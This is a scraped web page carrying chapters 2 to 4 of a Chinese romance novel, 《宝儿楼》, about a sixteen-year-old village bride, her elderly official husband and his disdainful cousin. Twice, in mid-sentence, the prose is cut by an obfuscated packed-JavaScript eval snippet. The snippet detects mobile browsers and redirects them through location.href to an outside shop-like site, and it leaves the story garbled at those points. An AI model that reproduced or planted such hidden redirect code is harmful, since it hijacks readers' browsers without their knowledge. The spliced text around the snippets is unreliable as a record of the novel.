《宝儿楼》
2. 新婚
婚礼很简单,一切都是康行鸿操办的,毕竟他有钱、也有经验。
杨娘子抱着仪贞直掉眼泪。养了十六年的女儿,从那么一小点儿到如今这般亭亭玉立的模样,怎么舍得她嫁个老头?怎么舍得她嫁那么远?
仪贞也哭,她舍不得这里的一切,舍不得爹娘,舍不得栖雁村,舍不得河,舍不得这里的人,也舍不得越合。可戴着那些沉甸甸的金簪金镯金链子,仪贞又觉得自己的哭,再真心也有些虚伪了。
婚后第二天,行鸿便带着她往金陵去了。到此时,仪贞才知道,他是奉皇命来江南地区巡视农务和铜币铸造的御史,这是个临时的差遣,他在京都的实际官职是中书侍郎。
坐着他的青帷马车,不过一个时辰,便到了金陵。
仪贞悄悄掀起车帘,她从没见过的车水马龙、游人如织就这么直直撞进眼底。
路边有人卖衣裳,红的黄的,棉的绸的,不一而足,却都比不上她今日穿的这件烟霞紫软缎衫子,又柔软又服帖,怎么也压不出褶儿。
马车在城里行了约莫一炷香时间,方停在一扇朱门前。仪贞扶着行鸿的手、踩着轿凳下了车,稳当当站在青石台阶上。
仆人开了门,二人并肩走进去。
穿过门厅,豁然是个天井,四四方方的,左右各摆了只太平缸,缸里曳着几尾红鲤。
行鸿径自往左手边的月洞门去了,仪贞紧了两步追上。过了门,眼前又是另一重天地。一道游廊曲曲折折往前伸着,廊外两侧植着葱葱茏茏的翠竹,竹影里立了对鹤,正就着仆人的手啄食。
仪贞没见过鹤,唬了一跳,紧紧贴上行鸿的手臂。他笑着安慰她:“养着玩的,不伤人。”
游廊尽头是垂花门,过了垂花门,终于到正院。迎面先是一铺砖雕影壁,绕过去,正房才全然在目了。五楹七架的格局,堂屋的门大敞着,可望见里头悬着的中堂。
院里则栽着两株老银杏,各自约有二人合抱粗。右边那一株下还扎了个秋千。此院一步一景,处处藏了巧思。仪贞睁圆了眼看也看不过来。这是她头一回进这般大的宅子,自然看什么都新鲜。只是心里有些着慌,微微抿着嘴,怕露出那没见识的寒酸相。
行鸿笑道:“这宅子原是我二十岁弱冠时母亲赠我的生辰礼,有些年头了。小是小了点,也有些旧,但我们俩对付这几个月应是够的。等回了京都我常住的榴园,那儿比这宽敞些。你闲下来还能办宴,约些太太小姐们来家里玩,我是很喜欢热闹的,想来你也会喜欢。待会儿叫云苓她们——”
仪贞早看得眼花缭乱,毕竟这里一间屋就顶上她家整个院子大了。行鸿的话她没怎么听入耳,只是愣愣望这偌大院子,脱口而出:“我们两个住哪间?”
行鸿的话戛然而止。
按康家规矩,主君和主母本该分院而居,他原也打算让云苓收拾旁边的院子给仪贞住,这话倒让他愣了一下。
乡下人家是没有这些规矩的。夫妻俩同屋同寝,到老了都是这样。若无病无灾无龃龉,鲜有分床。
罢了,重新收拾也麻烦得很。
他笑道:“你随我来。”
寝居很宽敞,被雀梅纹样的落地花罩门隔成了三间,东厢置了座紫檀木的千工拔步床,床洞宽大纵深,睡她和行鸿是绰绰有余的。仪贞望着这一床鸳鸯绣被,浅浅翘起唇瓣。她喜欢大床。大床不逼仄、不局促,有种从容宽裕的姿态。更重要的是,她不必与行鸿皮贴着皮肉贴着肉地睡觉。
啊,不嫌弃他的老,是决计不可能的。
“仪贞,这衣柜子也是你的。”
她转过身来。
是座四门开的黑漆嵌螺钿花鸟衣柜,行鸿随手拉开一扇柜门,笑道:“我前儿教人又给你做了几套衣裳,可惜要填满这里是不够的。且将就着罢。我是出来办差的,许多事不方便,如今连带着你也跟着受委屈。待回了京都,库里很有些个好料子,每年都是送人了,往后把那些拿来给你裁衣裳才是正经。诶,云苓,”他忽而想起什么似的,“太太的《找衣册》往后是你管么?”
那叫云苓的丫鬟含笑应道:“衣裳首饰都是我管,器皿什么的交给云蝶了。”
行鸿点点头:“就是这样。”又道,“你下去罢,顺道问问陈大去,应二爷什么时候到。”
云苓“嗳”了一声,便垂首退下了。
仪贞已在床沿坐下,两手稍稍撑在身后,歪着头睨他。“什么是《找衣册》?”
“哦,这个,”行鸿走来,坐在她旁边,“日后你的衣裳首饰不会少,样样皆需登记造册,一则找起来不麻烦,二则来日若丢了什么,也有个对证。”
仪贞侧着脸看他:“哪里就需要那么多。”
“多么?你嫁给我,本就受了委屈。我自问难以弥补,只好拿这些俗物当作小小补偿,以慰汝心。”
仪贞心想,俗物有俗物的好,康行鸿久居人上,自是不懂这份好。她嘴角噙着一点笑纹,像含在云里的月牙儿,欲显未显的。仿佛故意憋着笑。
康行鸿瞧见了,问:“笑什么?”
“你说话跟做文章似的。”仪贞弯了嘴角,“你是跟所有人都这样么?还是只同我这样?”
行鸿道:“这有什么分别?”
“若你单只同我这样,可见我在你这有些特别,那我就不生气了。”
“咦?生气?”行鸿也笑了,“哪儿不满意么?”
仪贞洒然笑着:“你用那么文绉绉的话,说拿俗物给我做补偿。可偏偏我就是个俗人,只爱些俗物,只听得懂俗话。我被你看透了,好没面子,自然要生气。”
行鸿失笑望向她。
仪贞被他看得不好意思,脸皮微微一红:“你看我干什么?”她轻轻将身子向后一仰,倒在那张拔步床上。发髻压得脑袋痛,仪贞索性把鬓上的簪子除了,花钗卸了,任满头青丝铺散在鸳鸯被上,似浓墨染过的层云。
“昨天是婚礼,今天又坐了半日的车,我倒累了。你不累么?你不躺一躺么?”
她知道她这样的举动,于一个男人而言,于一个刚刚与她成亲的男人而言,是很有些意味的。
出嫁之前,娘虽不满,可木已成舟,还是认认真真告诉她何为男女之事。后面管婚礼程式的嬷嬷也教过她。仪贞明白,康行鸿的年岁让他在这件事上是乏力的,所以她得主动些,不独是做好这桩婚姻买卖,也是让她自己得些快活。
而况,就在刚刚,她有了一个新的愿望,须得康行鸿才能满足她,别人都不管用。
既要求他,便总得有些舍得。
她躺在被子上,忍不住提前说出心愿:“你能教我识字么?我也想像你那样说文绉绉的话。”
她是识过字的,可才学了“人”“大”“天”这些,外公就过世了。娘说识字没用,她又那么忙,自然不肯教仪贞。如今,她连自己的名儿都不会写!
行鸿的目光一直追在她身上,柔柔缓缓。他一根一根收起她随手丢下的簪钗,握在掌心。他不是不懂她的心思,可他已经这般岁数了。
昨夜他们并没有同房。
行鸿垂下眸子。仪贞并不知道,于他而言,她光是躺在那儿,光是一根头发丝儿,光是不经意的一瞥眼一勾唇,便散发着蓬蓬勃勃的生命力,灼灼耀目。他就像久在冬夜里行走的人,乍然碰见了仪贞这盆火,不是不贪这暖和光,只是怕靠得太近、太猛,把火扑了。
他舍不得。
再怎么保养也会松弛的皮肤,日渐衰退的气力,她瞧见了,也会被吓跑罢?
他舍不得。
思及此,他在心底狠狠嘲弄了自己一遭。毕竟不分院、与她同院的主意,也是他起的。
他把簪钗搁在床头柜上:“你想识字,自是极好。只是我未必教得好,改日请个西席——”
仪贞扯住他的袖子:“我不要别人。”她翻了个身,一手撑住腮,“就你来教,不成么?你说话好听,跟你学,我才说得你那样的文章话。”
“那好罢。只是这些时日我有些忙,恐不能常常陪你。过几日要来一位应二爷,他是我表弟,与你同龄,他的太太也会一起过来。那是位极有才气、极有见识的女子,谈吐也极好,你若不介意,可先与她见见。待办完了江南的差,我再从头仔细教你,好么?”
得他首肯,仪贞的心愿已了了泰半。后面的话也未认真听,只点头应着。
行鸿说完了话,垂眸见她还攥着自己的袖子,说道:“你既累了,先歪着歇会儿罢。”
仪贞轻声:“你呢?”
他想了想:“我去府衙里,晚上回来。”说罢,他站起身来。那袖子蛇一样游出了仪贞的手。
嘿。他躲她呢!
仪贞心里发笑。
她点点头,目送他往外走。
等瞧不见他的身影,仪贞又躺了回去,终于忍不住笑出声。
他这样的大人物,也会躲她么?
仪贞一双黑瞋瞋的眼珠子,滴溜溜地打量起这间新房。头顶是承尘,描金绘彩的,有一些花鸟样的图案,她并不能全部说出名字。她睁着眼睛望了一回,又闭上眼,只觉周遭静得落针可闻。唯有外头隐隐约约传来人声,隔着重重院落,落在耳朵里就像蚊蚋嗡嗡。
她翻了个身子,好软的床呐。鼻尖触着缎面,滑溜溜的,好舒服的被子呐。
她想起出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361253|199748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嫁前一晚,娘一边淌眼抹泪,一边嘱咐她:“到了人家家里一定要守人家的规矩。”“凡事让着些,别由着性子来。”那会儿仪贞坐在床沿,也是拿眼珠子转着看这间住了十六年的屋子。土墙,木窗,四条腿儿的桌子,桌上叠两只碗,有一只豁了口,爹拿去鲁麻子那儿钉好了,花了六文钱。
朦朦胧胧的,那土墙、木窗、旧桌子、豁口碗变了模样,周遭是四门黑漆柜、落地花罩门、千工拔步床。与她说话的人也成了行鸿。她还记得新婚那夜,他说:“你只管做你自己就好了,康家如今除了我,便是你当家。不必太局促。”
“哎。”仪贞叹了口气,又翻了个身。
手腕子上发出脆响,是连在一起的三圈金素镯,撞在了一起。她举起手来就着光看,那镯子便顺着腕子往下一滑。这镯子真好看,她想。娘嫁给爹的时候,陪嫁是一对儿绞丝银镯和一枚银戒指,戴了二十年,早磨得发白。而今她这一回嫁,浑身上下披金戴银,像出征的将士披了层铠甲。
铠甲!
仪贞觉着这个词好。在这桩婚事里,她可不像个战士么?
仪贞笑吟吟地赏鉴着她的战利品。
行鸿果真是很晚才回来。
并非刻意躲她,实是这钦差不好当。圣上这遭派他过来,是要他把江南的农政、钱政一块儿办了,如今还没开始,求见的人已排到了丹凤街。
行鸿忙,仪贞则清闲。她这太太当得有些师出无名,三四天了也没人来巴结她。好在她暂也想不到这一层,光这座宅子就够她探索一阵子。
在这宅子里,仪贞顶喜欢正堂前老银杏下的秋千。
今儿是她成为康太太的第四天,她穿了件红色地四合如意纹、天华锦裁就的齐胸襦裙,上头则是件香色窄袖圆领对襟衫子,外罩豆青色的圆领褙子。行鸿临走前,又挑了条浅绯色的纱罗披帛,说正衬她今日的装扮。
仪贞站在秋千上,云苓和云蝶在后头推她。
起初只是轻轻地送,一摇一摇的。仪贞不尽兴,教她们用力些,云苓便加了把力,秋千猛地荡了起来。一来二去,愈荡愈高,她几乎要飞起来,仪贞紧紧攥住绳子。
风灌进了裙子,把裙子兜得鼓鼓囊囊的,宛若一朵倒扣的红花。
“好,好!就是要这样才好!”她欢喜叫道。
云苓和云蝶对视一眼,也抿着嘴笑,又用力推了一把:“您小心呀!”
秋千荡到最高处时,仪贞觉得自己都快要飞出去了,整个康家宅子都匍匐在她脚下。前院传来几声鹤唳,那两只宝贝也被她唬住了么?真痛快!
仪贞不禁笑起来,清泠泠的笑声随风荡去。
她搭在肩上的披帛也应着风,游龙一般飞了出去。
“诶!它跑了!”仪贞目光追着披帛。
恰在此时,影壁后转出来个生人。那披帛不偏不倚,顺着风,竟游到了他跟前。
应菩寿一愣,伸出手接住了。浅绯色的纱罗披帛立时软了身子,在他指缝间垂落下来,仿佛兜住了西天的一铺晚霞,教人心神微滞。仰起头,秋千上的女子放肆张扬地冲他笑着。
“夫君,怎么了?”
他身后又转出个华服女子,眉眼和婉、身量苗条,也仰起头望向仪贞。
云苓和云蝶忙停了手,秋千渐渐缓下来。
仪贞喘着粗气,胸膛起伏,她的头发已经从髻里散了些出来,粘在额上、鬓角,汗津津的。她从秋千上跳下来,脸蛋红扑扑。
仪贞热气腾腾地走上前,扬起笑:“你们就是应二爷和应太太罢?我——”
应菩寿立在原地,已在几息之间将她打量完毕。
浑身的乡野气。他忍不住在心底嗤了一声,随手把披帛丢给旁边的丫鬟。
良好的教养让他只是淡淡一瞥,平静地截断她的话:“你就是乡下来的那个么?”
宋太太攀住他的手臂,温声道:“兰夔,你不要这样。”她笑着,“我们先进屋,等兄长回来再谈那件事罢。”
宋太太朝仪贞一笑,旋即又把笑意敛得干干净净。她径自吩咐身后的小厮与丫鬟把行李搬去客房院里,便挽着应菩寿的手往正厅去了。
仪贞怔在影壁前,望这对高门夫妇并肩而行。在他们前方不远处,是三扇洞开的隔扇门,正中那扇,框了一对高悬的乌木制中堂。她不认得,行鸿告诉她,上头写的是:“芝兰有根庭有玉,麒麟在阁凤在楼。”
他又解释:“这是说子孙有才德,家族方能兴旺。”
仪贞懂,他们是嫌她乡下来的,不跟他们一样是有才有德的麒麟凤凰呢。
她淡淡一笑,拿帕子把汗擦了,紧两步跟了上去。
3. 假凤凰
仪贞走进屋时,应菩寿与宋太太已坐下了,跟随他们夫妇的小厮与丫鬟也择定位置站好,倒把仪贞衬得像个外人。
仪贞暗暗撇嘴,可想到如今她才是嫂子,是主人,不好凭着性子丢开他们一走了之的。她觑着眼看过去,应菩寿的目光始终落在庭前的银杏,宋太太也侧了身子,同她身后的女婢说些什么,并不看她。仪贞行至桌前,斟下两盏茶,一壁递到二人手旁的高脚茶几上,一壁笑道:“行鸿要晚些时候才回来,你们急么?我找人去告他一声好了。”
应菩寿和宋太太尚未开口,那女婢先笑道:“哎呀,徐小姐,我家二爷和太太是不大吃这放久了的茶呢,还是泡的茶……”
仪贞的手悬在半空。
宋太太轻笑一声:“多嘴。还不重新去煮一壶来。”
女婢这才垂首退下。
宋太太方道:“您请坐罢。谅我不知如何称呼。徐小姐,可你确已是兄长的妻子了;康太太么,总有些别扭。你还很年轻罢?有二十岁么?”她见仪贞咬着唇立在那儿,又笑道,“快请坐呀,不必拘束的。”
沉默了好半晌的应菩寿也开了口,却是同门旁侍立的小厮说的:“你们都下去罢。”
一时间,正堂里只剩下他们三人。
仪贞立在那儿,倒也不恼。
她自小在栖雁村长大,村里人吵起架来比这不知刻薄了多少。宋太太绵里藏针的这点功夫,刮在她身上倒没那么疼。
她索性自己寻了把椅子坐下,笑了笑:“你随意叫便好了。我娘喊我贞儿,行鸿叫我仪贞,怎么喊都成。”
这话说得敞亮,倒让宋太太微微一怔:“你是个爽利人。”
“是么,行鸿也说我说话直,不费心思去拐那个弯儿。”
应菩寿忽然嗤地笑了一声,很轻。他转头同宋太太道:“玉芬,你去办午膳罢。这里我与徐小姐说几句话。”
宋太太应了,站起身,把手放在他肩上:“和软些,她瞧着还小。”
应菩寿捏了捏她的手,点点头:“放心,我省得。”
待宋太太也走了,仪贞撇着嘴,只看裙裾下的黄花地兰绒毯。
应菩寿站起身,目光在仪贞身上又滚了一遍,才开口:“你直说罢,想要多少钱?”
仪贞猝然抬头。
眼前这个男子,眉目疏朗,神仪明秀,通身气派清贵,脸上却滞着冷肃之气,仿佛拒人于千里之外。
“一千两如何?够你一家三口几辈子的嚼谷了。”
仪贞直直望着他,先是没言语,而后竟笑了:“应大人,你这话问得有趣。我嫁的是康行鸿,做的是康太太,彩礼他已给了,你还要预备银钱做什么?”
应菩寿一怔。他惯于同官场上的吏员打交道,便是女子,也是同宋玉芬一样出身名门的大家闺秀。这些人说话行事皆有定式,进退有度,措辞婉转含蓄。倒是从未见过这样出身寒微、一股子乡野气的女人,更未想过有朝一日被她反将了一军。
应菩寿眯起眼:“你确实伶俐,怪道哄了兄长这么急慌慌地就要娶你。”
仪贞终于有些恼了,她拧了细眉:“好有意思的话,我什么样的人,你兄长什么样的人,我还能哄他么?你莫不是以为,是我先找上你兄长的罢?是谁走到栖雁村来,是谁说要娶我的?聘礼是他下的,花轿是他派的,婚书也是他领着我去官府签的。怎么是我哄他?”
应菩寿盯着她,面皮绷得很紧。从小到大,他并没有被人如此呛白过,更莫论身份如此卑贱的一个女人。他呼出一口浊气:“徐小姐,我就直说了罢。莫说你们徐家,便是整个栖雁村加起来,也够不上康家的门第。鄞州康氏的门楣,容不得你们这样粗野的人糟蹋。”
仪贞涨红了脸,她猝然起身,也恨恨地盯着他:“你——”
“你知道兄长的祖上、父母是什么样的人物么?你知道先头的康太太是什么样的人物么?嫂嫂是平阳郡主的小女儿,祖上出过两任宰辅,乃密州名宦嫡长女。不单出身,嫂嫂族中男女更是无有不诵读诗书者。嫂嫂亦是傲视同侪,自记事起,习字念书、针线描绣、琴棋书画,无有不通。徐小姐,唯有这样的女子,方配得上鄞州康氏的门第。”
仪贞气得胸膛起伏,不仅仅是因应菩寿浓烈的恶意,更因他不长的一段话,她竟要反应好一会子,才听得懂!
什么密州名宦、什么傲视同侪、什么琴棋书画无有不通,这些词她有些听得明白,也有些听不明白,偏偏这才是最刺人的。因为它们明晃晃地告诉她:你不配站在这儿,你连人家的话都听不全!
仪贞很想开口回敬几句,可张了张嘴,话又堵在嗓子眼儿。她能说什么呢?说她也很能干,她会洗衣做饭、喂鸡种田?说她能挑几十斤的担子走好几里路还不歇气?这些本事在栖雁村是顶有用的,可放在应菩寿这儿,怕是连提都不值得一提。
她忽而觉得有些可笑。她站在康行鸿的堂屋里,穿着戴着康行鸿给她置办的行头,可骨子里还是那个蹲在河边洗衣裳的乡下丫头。应菩寿几句话,就能把她打回原形。
应菩寿看她脸涨得红红的,料想自己的话辱了她的自尊,因而又道:“你也不必妄自菲薄。你确实与嫂嫂有三分相似,也不怪兄长想着要娶你。等离了这儿,凭你的样貌,以及兄长与我给你的钱,你总能找个从前你够不上的人家,安安稳稳一辈子。”
“应二爷,”仪贞皱起眉,“有一桩事,我才刚便与你讲了,你听不明白么?”
应菩寿冷冷看着她。
“你兄长娶我,是他自己愿意的。他五十六岁了,比我大四十岁,他比我清楚自己在做什么。你替他操这个心,他领你的情么?”
尽管早有准备,应菩寿心底还是不由吃了一惊。相差四十岁……这丫头才十六,比他还小六岁!
仪贞继续说道:“你口口声声说什么康家的门楣,可行鸿自己都不在意,你一个表弟,操的哪门子心?你到底是怕我玷污了你两家的好名声,还是怕我分了你兄长的家产?”
这话说得又直又白,应菩寿的脸色彻底沉了下去,脸上红一阵白一阵。
从未有人胆敢如此与他说话。如今倒好,一个村女,一个连自己名字都未必会写的村女,竟敢指着他的鼻子说他贪图兄长的家产。
他额角青筋隐隐跳动:“小人之心!”
仪贞连忙接上话:“这我知道,什么小人之心猜君子之腹。我是小人,你是君子么?”她仰头说道,“我是康行鸿明媒正娶的太太,论辈分,是你应二爷的嫂子,你见着我,不叫一声嫂子也就罢了,开口闭口‘乡下来的’,问我要多少钱。这便是你们城里君子的好教养么?”
应菩寿脸色铁青,仍旧咬牙道:“好教养的话,你能听得懂么?”
“你——”仪贞瞪起眼来。
她又立马把气压下去:“应大人,你放才说,要给我一千两银子离开你兄长。”
应菩寿一怔,旋即冷笑连连:“怎么?你又改主意了?”
“不,”仪贞摇了摇头,“我是想说,你出的价太低了。”
应菩寿的冷笑又僵在脸上。
“你想想看,”仪贞掰起手指头,认真道,“行鸿说了,日后我的衣裳首饰都要登记造册,光这一柜子的衣裳、一箱奁的首饰,我虽不懂行市,可加起来也有小一千两了罢?更不要说往后的好处。你出一千两就让我走,那我可不是亏大了么?”
应菩寿瞪着她,一时竟分不清她是认真的还是故意消遣他。
“你要给你兄长省麻烦,不如劝他别给我打那么多首饰、裁那么多衣裳,别待我这么好。说不定不用你两头劝,我自己就跑了呢!”
他攥紧了拳头,指节捏得发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361254|199748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白:“泼妇!”
仪贞深吸一口,正欲再呛他一句,门外忽然传来一阵脚步声。
“说什么呢,这样热闹?”康行鸿含着笑意的声音传进来,不疾不徐,带着他一贯的温和。
仪贞与菩寿同时转过头去。
康行鸿站在门槛外,一身官袍打扮,身后跟着两个长随。他脸上带着笑,淡淡的,目光在仪贞与菩寿之间转了一圈,落在仪贞涨红的脸上,又落在菩寿铁青的面上,便什么都明白了。
他抬腿走了进来:“我还以为你要明天才能到呢。”
行鸿走到仪贞身旁,很是自然熟络地牵住她的手。仪贞低着头,胸口还在微微起伏着,像一只炸了毛的猫,还未平复下来。他微微一笑,轻轻捏了捏她僵硬的手。行鸿重新抬起眼:“兰夔,这是怎么了?你们在说什么?”
应菩寿抿了抿唇,没吭声。
“兰夔,”行鸿又唤了一声,这遭声气里多了一丝冷意,“既然没什么,便去前厅用膳罢。听说今儿的酒馔是你太太办的,她眼光好,我已两三年没吃到你们家的饭菜了。”
“兄长。”应菩寿声音硬邦邦的,“愚弟以为,徐小姐并不堪成为榴园的女主人。”
仪贞抬了眼,恨恨地看他。
应菩寿继续道:“给个妾室,倒也罢了。若是作妻,嫂嫂和亭哥儿知道了,也要生气的。”他自觉已经让步许多。
“啊,原是这句话。”行鸿叹了口气,自在主座的太师椅坐下了,又示意仪贞也坐。仪贞看了应菩寿一眼,赌气似的,一屁股坐在行鸿旁边的太师椅上,把下首的座留给应菩寿。
“兰夔,”行鸿缓缓开口,“我知道你心里在想什么。你无非是觉得我老糊涂了,仪贞与我处处不般配,我娶她,丢了康家的脸面,是不是?”
正说话间,宋太太走了进来。
行鸿扬起笑:“弟妹,你也坐罢。”
他目光平静地望着这对夫妇:“兰夔,我身边兄弟少,论起亲厚来,你是头一个。这遭喊你过来,也是这样。我说句你们不爱听的话,仪贞是很好的,或许你们看不出来,只因你们拿了一双富贵眼看她,自然是左看右看,都看她个不满意。我若想要续弦,早几年便续了,京都合适的太太妇人并不稀薄,可遇见仪贞之前,我从未起过这个念头。因我也老了,不比年轻时那样。在这一点上,还是我匹配不上仪贞,她嘴上不嫌我,心里必然也有些委屈,我知道的。这也是你们不同意的一个原因。”
仪贞听了这番话,早就触动心肠,忍不住眼热鼻酸,悄悄拿手背抹泪。
行鸿又笑道:“我再与你们交一交心,不是你们夫妇,我断不会说下面的话。我们康家,从我祖父辈起就是单传,亭哥儿走在我先头,不曾留下一儿半女,我这一支,是断了。康氏族里那些纨绔什么样,兰夔你出仕这几年,不是不晓得,但凡他们当中有个立得起来的,我也未必走到如今。这是其一。其二,日后我死了,我的这些家产,早晚要被他们瓜分了去,能给你的也有限——我知道,你们俩是不缺我这点子钱的。若把这家业留给他们败光,还不如捐出去,这是我的真心话。如今仪贞来了,也好。她是很聪慧的,模样也好、说话也爽利,前儿她还说想读书习字呢,如今有几个女子有她这样的心气儿?只可惜,她出身差了些,这辈子的运道就比旁人差了一大截。所以,这些钱留给她,我是心甘情愿。”
行鸿转过脸儿,见仪贞低着头,那眼泪珠子一颗接一颗地滚落,啪嗒啪嗒洇湿了膝头的裙子。他垂眸望着她,眼里柔情万千:“兰夔,玉芬,横竖我没多少年活头了,早也到了致仕的年岁。外头若有风言风语,于我而言,并不算得什么。便是回密州养老去,也是情理之中。若你们俩觉得丢了面儿,日后我们少些往来便是了。我是很理解你们的,也望你们理解理解我。这是我的一点私心。”
4.写字与贪污
仪贞出了正堂,沿着游廊快步往她和康行鸿的院子走。
行鸿还在正堂跟应菩寿夫妇聊天,她是借口更衣才回来的。
仪贞步子很快,快到身后的丫鬟几乎要小跑着才能跟上。云苓和云蝶对视了一样,都不敢出声,只默默跟在后头。
一直回到院里,仪贞才停下来。她扶着廊下的石柱,大口大口地喘气。方才在正堂里憋着的那口气,此刻终于全然吐出。她的手忍不住发颤,并非是怕,而是气的。
姓应的狗眼看人低!
可仪贞不光气应菩寿,她更气自己。她气自己连他说的话都要反应好一会儿才能听懂,气自己连一句文雅些的回嘴都想不出来,气自己明明气得要死,却只能像从前在栖雁村那样,跟他掰扯金镯子值多少钱、衣裳值多少钱。
仪贞嘴角一撇,忽而蹲下身来,把脸埋在膝盖里。
云苓和云蝶吓了一大跳,连忙凑过来:“太太,您怎么了?哪里不舒服么?”
仪贞闷声道:“没什么,我就是腿软。”
吃人嘴短,拿人手软。她徐仪贞一个穷乡僻壤里走出来的村丫头,嫁了个有钱有势的老头子,自然腿软。
“哼。”仪贞转了个脸,顺道蹭了蹭膝上的衣料。
好软、好舒服啊。
仪贞想,她恐怕要腿软一辈子了。
行鸿负手走进院里,只见仪贞小小的一团蹲在廊下,云苓和云蝶站在一旁踌躇得不行。他笑着同她们摆了摆手,等二云都退下了,他才走过来,捡了仪贞旁边的栏杆坐下,笑道:“太太,前头要摆饭了,你不去么?”
那颗簪金戴花的黑脑袋下传出声音:“哦。”
“你要是不想去,我教人把饭菜端来就是了。”他温声道。
仪贞慢慢抬起头,眼睛还红红的:“还能这样么?”
“这有什么的?你心情不好,不能见客。这不是个正经理由么?”
“那么应大人和宋太太更要厌我了。”
行鸿笑起来:“难道你陪他们吃顿饭,他们就会喜欢你了么?”
仪贞直直望向他,忽而噗嗤一笑。
行鸿朝不远处招了招手,云苓小步走过来,他吩咐道:“去前院说一声,太太身子不舒服,就在院里自己吃了。待会子我陪他们吃。”待云苓去了,行鸿又垂眸看着仪贞,温声说道:“你今天没吃亏罢?”
光这一句话,仪贞眼睛又红了,嘴上还逞强:“他们两个加起来,也说不过我。你没瞧见么,应二爷气得脸都绿了。”
行鸿道:“那就好。兰夔最瞧不起软骨头,你今天硬气了一回,给他顶回去了,他反而会高看你一眼。”
“我不稀罕他高看我。”
行鸿笑了笑:“他是家族里的老幺儿,从小到大做什么都顺风顺水,没吃过苦的。虽然有时说话不好听,可他心眼儿不坏。你今天让他吃了瘪,他大约要记你一辈子了。”
“哼!”仪贞撇了撇嘴,“我不稀罕他记我一辈子!”
“好,好。”行鸿应着。
仪贞想了想,哑着嗓子又问:“你这个表弟,怎么看上去比你小那么多?”
“他小我三十四岁,就连亭哥儿都比他大十多岁呢。”
仪贞暗暗吸了口气。
行鸿放远目光,目向虚空:“他母亲是我母亲的血亲妹妹,姊妹两个便差了十二岁。他母亲出嫁时,因夫家有事,守了三年孝,她也等了三年,这就又差了三年。我是我母亲的独子,他上头却还有一个兄长、一个姐姐,岁数就这么差下来了。”
仪贞又道:“他这么年轻,还敢做你的主。”
行鸿失笑:“这就是他的性子,他人是很好的。其实这次请他来,我原是想引荐你们认识。我本以为,至少他和玉芬会接受你。”
“他不好,我也不好。”仪贞盯着他,“是你好。你在他跟前夸我,在我跟前夸他,分明是你好。”
“仪贞,我是老了,许多事情看开了。”
“你怎么总说你老呢?”仪贞拧起细眉,“我不说,应二爷不说,就你自己过不去,老要提这话。我原本不嫌你老的,你总这么说,我真要开始嫌你了。”
行鸿笑着:“好,好,以后不说了。”他朝仪贞伸出手,“快起来罢。我要去前院了。”
仪贞搭上他的手,借着他的力站起来,腿却麻了,像无数根小针从脚底板往上扎。她一个踉跄,摔到行鸿怀里。她索性也坐下了,扯住他的袖子:“你等等我,我也过去。”
行鸿倒有些震惊:“你不必勉强自己。”
仪贞朝他飞了飞眉毛:“不是勉强,只因我人好,很大度,不跟应二爷计较。好了,我要去换件衣裳,刚刚荡秋千,出了一身汗,头发也乱了……”
行鸿哈哈笑起来。
午膳后仪贞回了自己院里,行鸿又去衙门里了,应菩寿夫妇则去秦淮河附近游逛。到了晚间,行鸿从衙门里回来,洗了个澡又坐在书房看案头的文书。仪贞沐浴完毕,借着给他斟茶研墨的名头,也进了书房。
还是得读书,不读书,以后就有更多的“应菩寿”“宋玉芬”瞧不起她。她走这一步,不就是为了过上好日子,不被人看瘪么?
除了读书,仪贞闷头想了一下午,她觉得还得有个孩子。午间行鸿的话给了她警醒,康家的子侄不是好相与的,日后康行鸿过了身,她一个外姓女,娘家又不算是有力的依靠,她拿什么跟这些豺狼虎豹缠斗呢?行鸿这遭请应菩寿过来,想必也存了日后让他们帮衬她的心思。可惜可惜,他们第一次见面就聊撅了,仪贞以后还是只能靠自己。
茶已经斟好了,墨也研好了,可仪贞还没走。
她状似随意实则紧张小心地在一旁玫瑰椅上坐了下来,假模假样地拿了本有画的书翻着看。
可行鸿办公的时候实在认真,仪贞坐了快一炷香,他还没发现她。
仪贞心里发燥,重重地咳嗽了一声。
行鸿这才抬头,恍然看见她似的:“诶?你没去睡?”
仪贞挽起笑:“我陪你。”
“谢谢你,不用陪的,你多睡会儿才是正经,我——”我年纪大了,觉少。
行鸿的话戛然而止,因他想起白日里仪贞说的,不许他说自己老。
“你什么?”仪贞问道。
“我马上就好了。”他笑着,一错眼,瞧见了仪贞膝上放的书,不由惊喜道,“你在读书啊?”
仪贞想,他终于看见了,终于注意到了,真不容易呐。
仪贞把书举起来:“我在看上头的画呢!不过,我也认得一点点字,比如这个——”她随手指了个字,“这是‘天’。”
行鸿含笑望着她。他怎会看不懂仪贞的小心思?
“你过来,我也看看。”
仪贞捧着书走过去了。
行鸿看了一眼,便知是哪本书。他翻了几页,指着上头的“徐”字:“来,看,这是徐,你的姓。你认识吗?”
仪贞忙凑过去看了:“现在认识了。”
行鸿取下一只狼毫,抽出一张空白的纸笺,又写下“仪贞”二字,才把纸笔推给她:“学字先把自己的名字学了,知道自己是谁,这是顶顶重要的。”
仪贞点点头,搬了张椅子过来,伏在案上认真摹写。
烛影晃动,红黄色的火舌在灯罩里跳跃。行鸿坐在那儿,淡淡地凝着她。这烛光给她明秀婉丽的脸上蒙了一层浅浅的蜜合色。她一笔一划,学得极认真。就是这股认真的劲头,这股巴望着过上好日子不停向前奔跑的劲头,勾着行鸿,牵着行鸿,让行鸿舍不得不帮她。
